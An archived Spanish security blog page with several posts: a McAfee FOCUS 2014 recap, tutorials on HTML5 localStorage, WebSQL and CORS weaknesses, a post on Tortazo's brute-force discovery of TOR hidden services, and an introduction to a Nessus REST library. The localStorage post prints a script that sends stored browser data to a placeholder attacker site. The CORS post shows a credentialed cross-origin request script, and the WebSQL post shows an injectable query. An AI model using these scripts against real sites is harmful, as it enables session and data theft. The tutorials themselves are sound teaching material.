Archivo

Archivo de Autor

Buguroo Offensive Security, presente en la FOCUS2014 Las vegas

octubre 31, 2014 1 comentario

FOCUS es un evento de seguridad informática organizado y promovido por McAfee. Se trata de una conferencia que se celebra anualmente y que reúne a numerosos profesionales y empresas del sector. Los días 27, 28 y 29 de octubre del presente año se ha realizado su séptima edición y en esta ocasión, Buguroo Offensive Security ha estado presente en calidad de partner estratégico de McAfee. Buguroo es una empresa que da respuesta a una necesidad que cada día es más evidente: Identificar y clasificar el riesgo de las múltiples amenazas que hay en Internet y suministrar los mecanismos y herramientas necesarias para minimizar su impacto. Es una empresa compuesta por profesionales con un alto nivel técnico y mucha experiencia en temas relacionados con el desarrollo de software y seguridad informática.
A petición de Buguroo y con el fin de dar a conocer a la comunidad su participación en el evento FOCUS 2014 realizado en Las Vegas, trasmitiré a todos los lectores de este blog cómo ha sido su experiencia y algunos detalles sobre esta edición del evento.

 

Datos del evento

- nombre: Focus Security Conference
Fechas: 27-29 octubre 2014
Lugar: Hotel The Venetian (Las Vegas)
Organizador: McAfee
Asistentes: aproximadamente 6000 profesionales.
Descripción del evento: Séptimo encuentro anual de McAfee sobre Seguridad. Está enfocado fundamentalmente a ciberamenazas, estrategias para su neutralización y seguridad en sentido amplio. Es un evento netamente profesional, la cuota de participación es de 995$. Las conferencias las dan altos ejecutivos de empresas de la talla de Intel, McAfee, entre otras. Además, han asistido grandes personalidades como Condoleezza Rice, ex-Secretaria de Estado de los Estados Unidos y asesora de seguridad nacional durante el primer período de gobierno del presiden G. W. Bush.
Conferencias: Ha habido hasta 75 sesiones técnicas divididas en varios bloques, entre los que destacan malware avanzado, endpoint security o seguridad en el sector público. Dentro de ellas, hay charlas como “Cómo robar 60 millones de dólares en 60 segundos” o “Protección para emails en tiempo real”.

 

Experiencia de Buguroo Offensive Security en la Focus Security Conference

Buguroo Offensive Security ha participado en calidad de partner estratégico de McAfee, ya que son miembros de la SIA (Security Innovation Alliance) de McAfee. En el evento han conocido de cerca la visión de McAfee sobre seguridad en nuevas tecnologías, que coincide plenamente con la visión de buguroo que se enfoca en el malware avanzado. Su detección temprana es clave para frenar pérdidas millonarias en el sector, por lo que la ciberinteligencia pasa a ser un campo prioritario.
La empresa ha presentado bugThreats, una herramienta que se encarga de realizar la búsqueda inteligente y prevención de amenazas en la red. Las demos realizadas con la herramienta impresionaron a los asistentes y generaron muy buenos comentarios.

Declaraciones de Pablo de la Riva, socio fundador y CTO de Buguroo Offensive Security

Pablo de la Riva ha hablado sobre el evento y ha demostrado su satisfacción sobre el papel desempeñado por Buguroo y los resultados obtenidos tras haber conocido de primera mano, la línea de productos y la estrategia planteada por McAfee para la detección de amenazas y la gestión del riesgo. Describe con sus propias palabras la importancia que tiene hoy en día tomar consciencia sobre los riesgos que existen en Internet y la tremenda evolución de las amenazas en los últimos años.

“Como empresa especializada en ciberseguridad y ciberinteligencia, Buguroo Offensive Security tiene una visión similar a la de McAfee. Hoy por hoy, el malware avanzado es un problema para cualquier empresa, con independencia de que su core de negocio sea o no tecnológico. Todo el mundo utiliza un ordenador conectado a Internet, por lo que el riesgo existente tanto para un banco como para una tienda de ropa”.
Además añade:
“Pertenecemos al programa SIA de McAfee, lo cual nos abre las puertas a eventos internacionales como la Focus. Formar parte de una reunión internacional tan importante nos permite conocer de primera mano las principales novedades del sector, intercambiar impresiones con los principales players y, en definitiva, estar un paso por delante”.

 

Además de BugThreads, Buguroo tiene otras herramientas que he tenido la oportunidad de probar en el pasado, como BugBlast para la gestión de auditorías o BugScout para el análisis estático de código en varios lenguajes de programación. Herramientas que demuestran el nivel técnico de los profesionales que conforman Buguroo. Por otro lado, también cuentan con un plan de formaciones y certificaciones que van desde conceptos básicos de hacking ético y pentesting, hasta el análisis de maleware y reversing. Se trata de una muy buena alternativa para aquellas empresas que quieren formar a sus empleados en temas de seguridad informática de la mano de profesionales con mucha experiencia y con un alto nivel técnico.

Vulnerabilidades comunes en HTML5 – Localstorage y vulnerabilidades en WebSQL – Parte 2

octubre 29, 2014 Deja un comentario

Continuamos enumerando y explicando algunas vulnerabilidades comunes en la última especificación de HTML, en la que se han incluido características funcionales que permiten crear aplicaciones WEB 2.0 y RIA. Se trata de un intento por mejorar la experiencia de usuario y crear aplicaciones robustas y rápidas, sin embargo muchas de ellas pueden representar una potencial brecha de seguridad si no se toman las medidas adecuadas a la hora de utilizarlas en aplicaciones web que manejan datos sensibles. En la primera parte de estos artículos, nos centramos principalmente en CORS, que como se ha visto anteriormente, es muy peligroso si no se configura adecuadamente a la hora de compartir recursos con dominios externos. En este artículo ahora nos centraremos en los nuevos mecanismos implementados para el almacenamiento de información en el cliente, que en HTML5 se extiende mucho más allá al uso de las cookies.

Fugas de información en el almacenamiento local

Una de las características más sobresalientes en HTML5 para el desarrollo de aplicaciones RIA, es la capacidad que tienen ahora los clientes de almacenar datos que posteriormente pueden ser utilizados por las aplicaciones. El mecanismo de almacenamiento de HTML5, también conocido como “Client-Site storage” es similar a las cookies tradicionales, sin embargo es más completo y robusto ya que no solamente extiende el tamaño de los datos que se pueden guardar, que en el caso de las cookies es solamente de 4kb, mientras que en el caso del almacenamiento local en HTML5 puede llegar hasta los 10MB de información. Por otro lado, a diferencia de las cookies, los datos almacenados no caducan y además, no se envían en cada petición entre cliente y servidor como si que ocurre con las cookies. El mecanismo de almacenamiento local de HTML5, es una mejora considerable a la hora de guardar datos en el cliente sin depender de las cookies tradicionales y cuenta con una API que permite acceder y manipular sus elementos por medio de Javascript.

En la especificación de HTML5 existen tres modelos de almacenamiento en el lado del cliente que son: Local, Session y Global. En el almacenamiento local, el elemento “localStorage” permite guardar datos de forma persistente en el cliente ya que dichos datos no se eliminan automáticamente y es necesario limpiar dicho espacio de almacenamiento de forma explicita. El almacenamiento del tipo Session funciona básicamente igual que el almacenamiento del tipo Local, con la diferencia de que el objeto “sessionStorage” se limpia automáticamente cuando el usuario cierra el navegador web o la pestaña del sitio web.

El almacenamiento Global es un espacio de memoria en el navegador en el que los sitios web pueden almacenar datos persistentes que no necesitan ser enviados posteriormente al servidor y aunque en los primeros borradores de la especificación se mencionaba que los valores almacenados en dicho espacio podían ser públicos a cualquier dominio, los desarrolladores de los navegadores web más populares no adoptaron esa recomendación por cuestiones de seguridad y los datos almacenados en dicha zona, ahora se asocian automáticamente con el dominio en cuestión. En las versiones más recientes de navegadores como Chrome o Firefox, el objeto “globalStorage” deja de ser soportado y en su lugar se utiliza el objeto “localStorage”, con lo cual los tipos de almacenamiento Local y Global se fusionan en uno solo por medio del uso del objeto “localStorage”.

Ahora bien, una vez comprendido el funcionamiento del “Client-Site storage” definido en HTML5, se puede apreciar rápidamente que si existe una API para acceder a los objetos que se encuentran almacenados en dicho espacio, un atacante podría abusar de dicha API para acceder a información sensible que se encuentre almacenada allí y eso es justo lo que puede ocurrir cuando una aplicación web con HTML5 tiene vulnerabilidades que permiten la ejecución arbitraria de código, como por ejemplo, una vulnerabilidad del tipo XSS.

 

<script language= "javascript">
var sessionNames;
for(i =0; sessionStorage.length; i++){
   sessionNames += sessionStorage.key(i);
}
var localNames;
for(i =0; localStorage.length; i++){
   localNames += localStorage.key(i);
}
</script>

Los elementos que se almacenan en los objetos “localStorage” y “sessionStorage” son diccionarios compuestos por pares de clave=valor, con lo cual, un atacante podría estar interesado en extraer todos los nombres de las claves disponibles en ambos contextos para posteriormente obtener sus valores.

<script language= "javascript">
   var xmlHttp = null;
   xmlHttp = new XMLHttpRequest();
   localData ="";
   for(i in localStorage){
         localData += localStorage.getItem(i)
   }
   sessionData = "";
   for(i in sessionStorage){
         sessionData += sessionStorage.getItem(i)
   }
   xmlHttp.open( "GET", “http://www.attackersite.com?data=”+localData+sessionData+globalData, false );
   xmlHttp.send(null)
</script>

Con las instrucciones anteriores se extraen todos los elementos que se encuentran almacenados en el “localStorage” y en el “sessionStorage”, posteriormente se envía dicha información a un servidor remoto utilizando el objeto XMLHttpResponse para iniciar una petición HTTP vía ajax.

Vulnerabilidades de SQL Injection en el cliente. Implementaciones con WebSQL inseguras.

Tradicionalmente las vulnerabilidades del tipo SQL Injection se han asociado con la extracción de información y posible ejecución arbitraria de código en el lado del servidor, sin embargo, en la especificación de HTML5 también esto ha cambiado, ya que ahora en el lado del cliente también es posible almacenar datos en bases de datos relacionales. WebSQL es el mecanismo mediante el cual, es posible crear una base de datos relacional con el fin de almacenar información que posteriormente será utilizada por la aplicación web. Se trata de una idea muy interesante, ya que permite crear aplicaciones web en las que los clientes podrán seguir interactuando con la aplicación aunque la conexión con el servidor no sea constante. Por otro lado, del mismo modo que ocurre con los objetos del tipo Storage mencionados anteriormente, es posible utilizar Javascript para consultar y manipular dichas bases de datos.

Las vulnerabilidades del tipo “Client-Site SQL Injection” no son muy diferentes a cualquier vulnerabilidad SQL Injection tradicional, de hecho, lo único que cambia es el contexto de ejecución. Esto quiere decir que la principal fuente de problemas relacionados con este tipo de vulnerabilidades se encuentran en la incorrecta o insuficiente validación de los datos utilizados para conformar las consultas y del mismo modo, la mejor forma de prevenir este tipo de errores, consiste en validar los datos de entrada y utilizar estamentos preparados en lugar de concatenar los valores de entrada con la cadena de la consulta SQL.

En navegadores modernos como Chrome, existen herramientas de desarrollo que permiten visualizar las bases de datos creadas en el lado del cliente cuando se visita un sitio web con soporte a WebSQL.

Para utilizar la API de WebSQL y acceder a bases de datos “Client-Side” se debe utilizar la API disponible para ello, la cual define tres elementos principales para acceso y modificación de datos: “openDatabase”, “transaction”, “execute”. El siguiente script enseña el uso de estas funciones en una página web y como se podrá apreciar después de inspeccionar el código, hay una vulnerabilidad SQL Injection que se puede detectar fácilmente.

<script language= "javascript">
    db = openDatabase("sqli", "1.0", "Web SQL Database Client-side SQL Injection",2000);
    if(db) {
       db.transaction(function(tx){tx.executeSql("DROP TABLE IF EXISTS table_test",[]);});
       db.transaction(function(tx){tx.executeSql("CREATE TABLE IF NOT EXISTS table_test (id REAL UNIQUE, description TEXT)",[]);});
    }
    db.transaction(
        function(tx) {
            tx.executeSql('DELETE FROM table_test WHERE id=?',[id]);
        })
    
    db.transaction(
        function(tx) {
            tx.executeSql("INSERT INTO table_test (id, description) values (" + id + ",'" + description + "')", []);
        })
</script>

En el código anterior, se puede apreciar que se intenta crear una base de datos con nombre “sqli” y posteriormente se ejecutan las instrucciones SQL para borrar y crear la tabla “table_test”. Posteriormente se crean las funciones de callback para ejecutar dos transacciones, la primera para borrar un registro filtrando por identificador y la segunda para insertar un registro.

La instrucción “DELETE” no tiene ningún problema en términos de seguridad, ya que la query SQL se encuentra parametrizada, sin embargo en el caso de la instrucción “INSERT”, se construye la query concatenando los valores que se deben insertar en la tabla “table_test”, generando de esta forma un problema de SQL Injection que puede ser explotable y que puede suponer la filtración de información sensible.
En el próximo artículo, más sobre vulnerabilidades en aplicaciones con HTML5

Saludos y Happy Hack!

Premios Bitácoras 2014.

octubre 22, 2014 1 comentario

Hoy me he enterado de que este blog estaba en las clasificaciones parciales de los premios “Bitácoras” en su décima edición y aunque a lo mejor es un poco tarde, me gustaría pedir vuestro apoyo para que votéis por este blog en la categoría de “Mejor Blog de Seguridad Informática”.
Actualmente creo que se encuentra en la posición 30 o por ahí, con lo cual supongo que algunos de vosotros ya lo habéis votado y quiero daros las gracias por vuestro apoyo que desde luego es muy importante. Para los que no lo habéis hecho y  queráis hacerlo, creo que aun estáis a tiempo. :-)

Aquí tenéis el enlace para votar: http://bitacoras.com/premios14/votar

Muchas gracias!

Categorías:Uncategorized

Intentando descubrir hidden services en TOR

octubre 22, 2014 Deja un comentario

En el articulo “ataca un servicio oculto en la red de TOR, si te atreves” he explicado el funcionamiento del protocolo rendesvouz de TOR y las dificultades existentes a la hora de descubrir cualquier tipo de servicio anónimo en TOR. Actualmente, una de las formas más eficientes de atacar la red consiste en intentar controlar la mayor cantidad de repetidores de entrada y salida para posteriormente ejecutar ataques basados en el análisis de las peticiones y los tiempos de las mismas, sin embargo para ello se requieren varios repetidores de TOR controlados y profesionales que sepan aplicar las técnicas de ataque adecuadas, cosas que no suelen estar al alcance de cualquiera. Por otro lado, una de las características intrínsecas de la deep web de TOR, es que no es fácil encontrar cualquier servicio y menos aun si no conoces su dirección onion. Muchas veces, los usuarios de estas redes se dedican a curiosear y a recopilar direcciones que van encontrando en foros, sitios en Internet o en algunos de los buscadores más populares en la web profunda, sin embargo ¿qué pasa con aquellos servicios que son realmente ocultos? Es decir, aquellos servicios cuyas direcciones onion solamente las conocen un grupo muy pequeño de personas y no se encuentran registradas en foros o buscadores. ¿Quiénes suelen crear y usar ese tipo de servicios? Si lo piensas detenidamente, encontrar dichas direcciones es prácticamente imposible, ya que como se ha explicado en el artículo anterior, no es como buscar una aguja en pajar, es más bien como buscar una aguja entre varios billones de agujas aparentemente iguales y sin ningún patrón o perfil que las distinga.

Por otro lado, cuando intentas desarrollar un Framework de auditoria en la deep web de TOR, contar con un repositorio de direcciones onion para poder ejecutar ataques automatizados contra dichos servicios es muy importante y además de contar con un listado de direcciones conocidas (recolectadas de foros, sitios en Internet y buscadores), también es útil contar con mecanismos para intentar descubrir servicios ocultos. Sin embargo aquí, volvemos a lo que ya se ha explicado anteriormente: Manejar el volumen de datos que puede producir el espacio de posibles direcciones onion es simplemente inviable con la capacidad de procesamiento que tienen los ordenadores modernos.

No obstante, a pesar de las dificultades, un atacante puede intentar generar muchas direcciones onion de forma aleatoria o incremental y determinar si en alguna de ellas hay un servicio en ejecución. En este sentido, en Tortazo he implementado algunos mecanismos para generar y procesar direcciones onion, con el fin de intentar descubrir servicios ocultos en la web profunda de TOR.

Estos mecanismos y la estructura que he montado, se explica a continuación.

Modo “Onion Repository” en Tortazo

Es posible generar direcciones Onion validas y posteriormente intentar realizar diferentes tipos de peticiones a dicha dirección, si la conexión es correcta, se asume que hemos encontrado un servicio valido. Ahora bien, pueden haber dos formas de abordar el problema considerando las limitaciones de procesamiento explicadas anteriormente, por un lado puedes intentar generar todas las permutaciones posibles partiendo de una dirección onion parcial con lo cual, entre más conocimiento se tenga sobre la dirección onion (número de caracteres conocidos), mayores serán las probabilidades de encontrar rápidamente el servicio en la web profunda de TOR. Por otro lado, si no tienes información sobre una dirección onion concreta y simplemente quieres consultar cualquier dirección onion sin ningún patrón determinado, Tortazo permitirá generar direcciones onion de forma aleatoria y realizar una conexión para ver si existe algún servicio oculto en ejecución en dicha dirección.

Se trata de dos aproximaciones completamente distintas que pueden ayudar a descubrir servicios ocultos, pero en ambos casos, lo más importante es que la generación y procesamiento de cada dirección onion se haga lo más rápidamente posible, esto con el fin de probar la mayor cantidad de direcciones onion en una franja de tiempo determinada.

En primer lugar, contar con un único proceso para la generación de direcciones y posterior procesamiento (petición contra el servicio) puede ser algo bastante lento, por este motivo, en Tortazo se cuenta con dos colas compartidas, una para las direcciones onion generadas y otra para aquellas direcciones sobre las cuales se ha detectado un servicio oculto en ejecución. Evidentemente, existen dos grupos de procesos, uno de ellos se encarga de la generación de direcciones onion que se insertarán en la cola de direcciones generadas y otro para procesar cada una de dichas direcciones onion y determinar si hay un servicio oculto en ejecución; y si ese es el caso, dicha dirección se insertará en la cola compartida de direcciones con servicios en ejecución.

Puede que suene un poco complejo, a lo mejor con la siguiente imagen queda un poco más claro.

OnionRepository

Para ejecutar Tortazo en modo “repositorio” es necesario especificar la opción “-R” y además, es posible indicar otros detalles como el número de procesos que debe crear la herramienta para el procesamiento y generación de direcciones onion (-W), una dirección onion parcial para generar las direcciones onion de forma incremental (-O <partialAddress>) o generar direcciones onion de forma aleatoria (-O RANDOM).

Algunos ejemplos se pueden ver a continuación:

Generación aleatoria de direcciones onion utilizando 5 procesos para generación y procesamiento de las direcciones creadas. Se realizarán peticiones HTTP contra cada uno de dichos servicios. El programa se ejecutará indefinidamente, hasta que el usuario manualmente decida detenerlo.


python Tortazo.py –R http –O RANDOM –W 5 –v 

 

Generación aleatoria de direcciones onion utilizando 5 procesos para generación y procesamiento de las direcciones creadas. Se realizarán peticiones FTP contra cada uno de dichos servicios. El programa se ejecutará indefinidamente, hasta que el usuario manualmente decida detenerlo.

python Tortazo.py –R ftp –O RANDOM –W 10 –v

 

Generación incremental de direcciones onion utilizando la dirección parcial “sad53kig53r2gha” y 5 procesos para generación y procesamiento de las direcciones creadas. Se realizarán peticiones FTP contra cada uno de dichos servicios. El programa se ejecutará hasta que todas las combinaciones posibles hayan sido probadas, es decir, en este caso concreto, las combinaciones de los dos últimos caracteres de la dirección.

>python Tortazo.py –R ftp –O sad53kig53r2gh –W 10 –v

Generación incremental de direcciones onion utilizando la dirección parcial “sad53kig53r2gha” y 5 procesos para generación y procesamiento de las direcciones creadas. Se realizarán peticiones SSH contra cada uno de dichos servicios. El programa se ejecutará hasta que todas las combinaciones posibles hayan sido probadas, es decir, en este caso concreto, las combinaciones de los dos últimos caracteres de la dirección.

>python Tortazo.py –R ssh –O sad53kig53r2gh –W 10 –v

 

Por otro lado, las direcciones onion sobre las que se ha detectado un servicio oculto en ejecución, se almacenan directamente en base de datos para que puedan ser usadas en alguno de los plugins disponibles en Tortazo. Además, en el proyecto también se incluye un fichero con un listado casi 400 direcciones onion que pueden cargarse (opcionalmente) en la base de datos cuando se arranca el modo “respository” de Tortazo.

Y así funciona el modo repositorio en Tortazo. Actualmente estoy desarrollando varias ideas para ampliar/mejorar el mecanismo de descubrimiento de direcciones onion, sin embargo, será algo que implementaré para la versión 1.2 y cuando sea el momento os hablaré de ello. De momento encontrarás información más detallada en la documentación oficial: http://tortazo.readthedocs.org/en/latest/
Por último, si tienes alguna idea o sugerencia para mejorar, me encantaria que te pusieras en contacto conmigo (debiadastra [at] gmail.com).
Un saludo y Happy Hack!

Servicios REST en Nessus y pynessus-rest

octubre 14, 2014 Deja un comentario

Nessus es un escáner de vulnerabilidades que ha ganado su prestigio gracias a sus capacidades a la hora de detectar y reportar fallos de todo tipo. Es una herramienta que se encuentra a la altura de otras herramientas tan potentes y utilizadas como OpenVAS, NeXpose o Metasploit Framework. Nessus permite crear y lanzar diferentes tipos de escaneos contra múltiples objetivos, crear políticas ajustadas a diferentes tipos de auditorías que pueden ser lanzadas por el pentester y generar reportes muy completos sobre las vulnerabilidades encontradas. Su uso es muy intuitivo y aunque muchos pentesters suelen utilizarlo “in-situ” por medio de la consola administrativa de Nessus, también es posible utilizarlo de forma programática por medio de la API Rest disponible para ello. No son muchos los pentesters que suelen utilizar esta potente característica de Nessus, ya que normalmente estos servicios serán consumidos por herramientas de auditoría desarrolladas por terceros que quieran aprovechar los beneficios de Nessus o automatizar sus rutinas, como es el caso del plugin de “nessus” incluido en Tortazo.
Hace varios meses, tenia la necesidad de utilizar Nessus desde mis scripts escritos en Python, pero desafortunadamente no encontré ninguna librería que utilizará la especificación de servicios REST incluida a partir de la versión 5 de Nessus, solamente encontraba librerías que utilizaban la especificación antigua, la cual se basaba en XML-RPC. Una de las primeras que me encontré fue pynessus (http://code.google.com/p/pynessus/) la cual no solamente no utiliza la última especificación, sino que además no se encuentra soportada por nadie y tiene varias funciones con errores de compilación. Cualquier desarrollador la descartaría a la primera. Otras más como nessusxmlrpc (http://code.google.com/p/nessusxmlrpc/) o python-nessus (https://github.com/greencm/python-nessus) son más de lo mismo.
Cansado de perder tiempo buscando y encontrando solamente escombros de código, decidí crear una librería en Python para consumir los servicios REST de Nessus desde cualquier herramienta escrita en Python y es así como he terminado escribiendo pynessus-rest (https://github.com/Adastra-thw/pynessus-rest).
Se trata de una librería muy simple que consume todos los servicios REST definidos en la especificación de Nessus(http://static.tenable.com/documentation/nessus_5.0_XMLRPC_protocol_guide.pdf) y permite convertir los formatos de las respuestas (típicamente JSON) en una estructura de objetos en Python para su posterior uso.
Para instalar pynessus-rest, basta con ejecutar el script “setup.py” con el argumento “install”.

	python setup.py install

Después de instalar la librería, es posible utilizarla desde cualquier script en Python simplemente importando las clases y/o funciones necesarias. En este caso, la clase más importante para interactuar con una instancia de Nessus es la clase “NessusClient”, la cual cuenta con varios métodos para gestionar usuarios, políticas, reportes, escaneos planificados, etc.

Autenticación con el servidor de Nessus.

Lo primero es autenticarse para poder interactuar con los demás servicios y para ello, se debe invocar al servicio REST “login” el cual recibe como argumentos, el nombre de usuario y contraseña. Si el proceso de autenticación es correcto, el servicio devolverá un token identificativo del usuario, el cual debe ser utilizado por el cliente para futuras invocaciones a otros servicios que requieran permisos de acceso. La clase “NessusClient” tiene la función “login”, la cual se encarga de todos estos detalles a la hora de interactuar con el servicio REST “login” de Nessus e internamente, guarda el token devuelto por el servicio en el caso de una autenticación exitosa. Esto quiere decir, que la propia instancia de “NessusClient” guarda el token de autenticación internamente para que cualquier otra petición posterior lo pueda usar. El desarrollador se despreocupa de tener que guardar él mismo dicho token entre diferentes peticiones a otros servicios REST.
Para crear una instancia de la clase “NessusClient” se deben enviar al constructor el host y el puerto donde se encuentra en ejecución el servidor de Nessus y la función “login” recibe como argumentos las credenciales de acceso para iniciar sesión y obtener un token valido.

	from pynessus.rest.client.NessusClient import NessusClient
	client = NessusClient('127.0.0.1','8834')
	client.login('adastra','adastra')

En el caso de que el proceso de login se ejecute correctamente con las credenciales ingresadas por el usuario, es posible utilizar todos los servicios expuestos en Nessus por medio de la instancia de “NessusClient” creada anteriormente.

 

Gestión de Políticas

Para iniciar un escaneo utilizando Nessus, es obligatorio crear una política que será aplicada a dicho escaneo. Las políticas definen los objetivos e indican el tipo de auditoría que se debe aplicar e internamente, define los plugins que se lanzarán contra los objetivos definidos. Hay una serie de plantillas de políticas que vienen pre-configuradas en Nessus, el usuario normalmente debe seleccionar una de dichas plantillas y rellenar los campos necesarios para configurar la política. Con Pynessus-rest, es posible utilizar todos los servicios REST definidos en la especificación de Nessus para la creación y gestión de políticas. El uso de algunas de dichas funciones se incluye a continuación:

	client.policyPreferencesList()
	client.policyList()
	client.policyCopy(1)
	client.policyDelete(1)
	client.policyFilePolicyImport("policy.nessus")

 

Gestión de Escaneos

Los escaneos son la principal característica funcional de Nessus, sin los cuales evidentemente la herramienta carecería de sentido. Los escaneos creados en Nessus pueden ser planificados y además pueden pausarse, reanudarse o detenerse manualmente. Estas características también se pueden controlar programáticamente desde pynessus-rest utilizando los servicios REST de Nessus disponibles para ello.

	client.scanNew("192.168.1.33",'1','EscaneoConPolitica1')
	client.scanStop('ec665c9e-ce24-336b-acb4-e2b199fac1800854abce5c111a8d')
	client.scanTemplateNew('1','127.0.0.1', 'Plantilla')
	client.scanTemplateLaunch('NewTemplate')

 

Gestión de Reportes

Todos los escaneos lanzados desde Nessus van generando reportes de forma periódica, dependiendo del progreso del escaneo, dichos reportes pueden ser más o menos completos.

	client.reportList()
	client.reportHosts("2e8ed9f5-79b5-4f60-d223-bc08e9688c79a606b97c670a7deb")
	client.reportTags("2e8ed9f5-79b5-4f60-d223-bc08e9688c79a606b97c670a7deb", '127.0.0.1', jsonFormat=True)

 

Convertir respuestas JSON a objetos en Python.

Todas las respuestas devueltas por los servicios REST de Nessus pueden estar en formato XML o JSON, siendo el formato JSON el valor por defecto y de uso más común cuando hablamos de servicios REST. Dado que las estructuras de datos que devuelven algunos servicios REST de Nessus son bastante complejas, la clase “NessusConverter” se encarga de convertir dichas respuestas en objetos Python que puedan ser manejados mucho más fácilmente por el desarrollador.

 nessusConverter = NessusConverter(self.nessusClient.usersList())
 nessusConverter.userToStructure()
 for nessusUser in nessusConverter.nessusStructure.nessusUsers:
     print nessusUser.name,nessusUser.admin,nessusUser.idx,nessusUser.lastLogin

 
 nessusConverter = NessusConverter(self.nessusClient.pluginsList())
 nessusConverter.pluginsListToStructure()
 for nessusPlugin in nessusConverter.nessusStructure.pluginsList:
     print nessusPlugin.familyMembers, nessusPlugin.familyName

 nessusConverter = NessusConverter(self.nessusClient.pluginsMd5())
 nessusConverter.md5StructureToStructure()
 for md5 in nessusConverter.nessusStructure.md5Structure:
     print  md5.fileName, md5.md5

En esta entrada solamente he incluido una breve descripción de la librería con algunas de sus funcionalidades, un uso mucho más exhaustivo lo podrás encontrar en el módulo “nessus” de Tortazo, el cual explota completamente todas las funciones disponibles en pynessus-rest y los servicios REST definidos en la última versión de Nessus. Además te invito a que pruebes esta librería con cualquier instancia de Nessus a la que tengas acceso.

Saludos y Happy Hack!

Vulnerabilidades comunes en HTML5 – Configuraciones inseguras con CORS – Parte 1

octubre 8, 2014 1 comentario

HTML5 en una especificación muy conocida que permite a los desarrolladores crear aplicaciones del tipo RIA (Rich Internet Applications) y aunque incluye características que se encuentran soportadas en prácticamente todos los navegadores modernos, algunas de dichas características pueden representar problemas de seguridad muy serios que en versiones previas de HTML5 no se presentaban. HTML5 ahora es una combinación de varios elementos que permiten mejorar la navegabilidad y la experiencia de usuario gracias al uso de componentes como XMLHttpRequest2 (XHR-Level2), Web Sockets, Cross Origin Resource Sharing (CORS), localstorage, webSQL y otras mejoras relacionadas con el renderizado de componentes HTML en el navegador web. Muchas de estas nuevas características recaen directamente sobre el navegador del cliente y habilitan un espectro de ataque mucho más amplio que con versiones antiguas de la especificación, algo que los atacantes en Internet ahora buscan y explotan diariamente.
Algunos de los escenarios de ataque más comunes en navegadores y aplicaciones que soportan HTML5 y que no se encuentran debidamente aseguradas se listan a continuación.

CORS y ataques CSRF

SOP (Same Origin Policy) es una política que ha sido bastante efectiva a la hora de impedir que un dominio concreto pueda acceder a recursos de un dominio distinto. Por este motivo, gracias a SOP un dominio determinado no puede acceder directamente a los recursos (tales como cookies, árbol DOM, comunicaciones, etc) de un dominio distinto del suyo. En la especificación de HTML5, se ha implementado una característica interesante llamada CORS (Cross Origin Resource Sharing), la cual relaja un poco la política SOP y permite que los recursos de un dominio concreto se puedan compartir con otros dominios. Para hacer uso de esta característica, solamente es necesario utilizar algunas cabeceras HTTP que un navegador con soporte a CORS, entenderá y utilizará adecuadamente. El problema con este mecanismo, es que si no se configura adecuadamente, podría permitirle a un atacante acceder a recursos sensibles de un dominio concreto (como cookies de sesión) y llevar a cabo un ataque típico del tipo CSRF. Las cabeceras HTTP que le dan sentido CORS y que permiten una potencial brecha de seguridad son las siguientes:
Petición
Origin, Access-Control-Request-Method, Access-Control-Request-Headers
Respuesta
Access-Control-Allow-Origin, Access-Control-Allow-Credentials, Access-Control-Allow-Expose-Headers, Access-Control-Allow-Max-Age, Access-Control-Allow-Allow-Methods, Access-Control-Allow-Allow-Headers

Estas cabeceras son específicas para el funcionamiento de CORS y en el caso de que se encuentren incluidas en las respuestas devueltas por un servidor web, indica que CORS es soportado y que posiblemente, un atacante puede acceder a recursos compartidos a los que normalmente no debería tener autorización.

Ejemplo:
Suponiendo que la víctima tiene abierto en su navegador varias pestañas con sitios web en los que se encuentra navegando. Uno de dichos sitios tiene CORS habilitado y las respuestas a las peticiones incluyen la cabecera “Access-Control-Allow-Origin” con el valor “*” y otro de dichos sitios web es controlado por un atacante en Internet.
El atacante enviará un script malicioso al navegador de la víctima que se encargará de utilizar el objeto XMLHttpRequest para ejecutar una petición POST hacia el dominio que tiene CORS habilitado, es un dominio *distinto* del dominio del atacante y dicha petición será silenciosa y pasará inadvertida para el usuario, ya que su navegabilidad no se verá afectada y los componentes HTML que se encuentra visualizando no han tenido ningún tipo de cambio.
Con las condiciones descritas anteriormente, el atacante podrá acceder a datos sensibles del usuario que se encuentra autenticado en la aplicación web vulnerable, accediendo de esta forma a recursos tan importantes como la cookie de sesión del sitio web en el que el usuario se ha identificado, dando lugar a una fuga de información y posteriormente a un ataque de suplantación de identidad utilizando la información de acceso (cookie de sesión) del usuario identificado. En efecto, estamos hablando de un ataque clásico del tipo CSRF.
La siguiente imagen enseña un sitio web con CORS habilitado y como se puede apreciar, la cabecera “Access-Control-Allow-Origin” tiene el valor “*”

Sin nombre

Si el usuario se encuentra logueado y navega a un sitio web controlado por un atacante, el cual contiene un script como el que se enseña a continuación, el atacante podrá acceder a información sensible que le permitirá suplantar la identidad del usuario.

	<script language= “javascript” type= “text/javascript">
	function corsrequest() {
		var http;
		http = XMLHttpRequest();
		http.open(“POST”, “http://vulncors-site.com/”, true);
		http.setRequestHeader(“Content-Type”, “text/plain”);
		http.withCredentials= “true”;
		http.onreadystatechange = function() {
		if (http.readyState == 4) {
			var response = http.responseText
			document.getElementById(“responseFromVictim”).innerHTML = response;
		}
	}
	http.send(null)
	}
	</script>

Como se puede apreciar, el atacante realizará una petición “POST” al sitio web vulnerable con el fin de recuperar información sobre el usuario identificado en el sistema, para tal fin incluye el atributo “withCredentials” con el valor “true” para que el servidor web replique en la respuesta el contenido de la cookie de sesión del usuario. Hasta este punto, el atacante tiene todos los elementos necesarios para suplantar la identidad del usuario sin mayores dificultades, produciendo una vulnerabilidad del tipo CSRF.

CORS y CORJacking
Continuando con la explicación sobre las posibles brechas de seguridad que pueden incluirse con CORS, otro tipo de vulnerabilidad que se presenta en las aplicaciones web RIA con HTML5 es la conocida como CORJacking, la cual consiste en la capacidad que tiene un atacante de modificar dinámicamente la estructura DOM de un sitio web con CORS habilitado y mal configurado. De esta forma, el atacante podrá modificar algunos atributos de los elementos cargados en el árbol DOM del sitio web con CORS habilitado e incorrectamente configurado, para controlar la interacción del usuario con los contenidos del sitio web vulnerable.

Ejemplo:
Suponiendo que una aplicación web con CORS habilitado y mal configurado tiene un elemento dinámico como por ejemplo un fichero Flash, SilverLight o un fichero de vídeo o audio. Un atacante puede suplantar dicho contenido navegando por la estructura DOM y modificar la ubicación de dicho recurso por otra ruta que apunte a un recurso cuidadosamente creado por el atacante. Si el contenido dinámico servido por el atacante, tiene la misma apariencia visual que el contenido original de la aplicación web, el usuario no notará la diferencia y creerá que interactúa con el elemento original. Más grave aun, cuando se trata de contenidos Flash o similares que intervienen en operaciones de negocio de la aplicación, como por ejemplo un componente en Flash para recibir las credenciales de acceso de los usuarios.

